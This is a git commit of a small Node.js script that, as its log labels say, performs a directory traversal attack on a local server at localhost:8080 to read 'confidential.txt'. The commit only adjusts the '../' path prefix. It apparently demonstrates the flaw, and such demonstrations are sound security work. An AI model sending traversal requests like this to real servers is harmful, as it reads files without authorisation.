<commit_before>/**
 * Author: <NAME>
 */
(function() {
    var http = require('http');
    var colors = require('colors');
    var content;
    var prefix = __dirname + '../../../';
    var url = 'http://localhost:8080/' + prefix + 'confidential.txt';

    console.log('\t[' + 'directory traversal attack'.green + ']: ' + url);

    var content = '';

    http.get(url, (res) => {
        res.on('data', (chunk) => {
            content += chunk.toString('utf-8');
        });
        res.on('end', () => {
            console.log('\t[' + 'directory traversal request response'.green + ']: ' + content.toString('utf-8').red);
        });
    });
})();<commit_msg>fix an issue<commit_after>/**
 * Author: <NAME>
 */
(function() {
    var http = require('http');
    var colors = require('colors');
    var content;
    var prefix = __dirname + '/../../';
    var url = 'http://localhost:8080/' + prefix + 'confidential.txt';

    console.log('\t[' + 'directory traversal attack'.green + ']: ' + url);

    var content = '';

    http.get(url, (res) => {
        res.on('data', (chunk) => {
            content += chunk.toString('utf-8');
        });
        res.on('end', () => {
            console.log('\t[' + 'directory traversal request response'.green + ']: ' + content.toString('utf-8').red);
        });
    });
})();
{'fraction_non_alphanumeric': 0.2328042328042328, 'fraction_numerical': 0.009070294784580499, 'mean_word_length': 2.3017456359102244, 'pattern_counts': {'":': 0, '<': 5, '<?xml version=': 0, '>': 11, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '240582', 'n_tokens_mistral': 415, 'n_tokens_neox': 407, 'n_words': 82}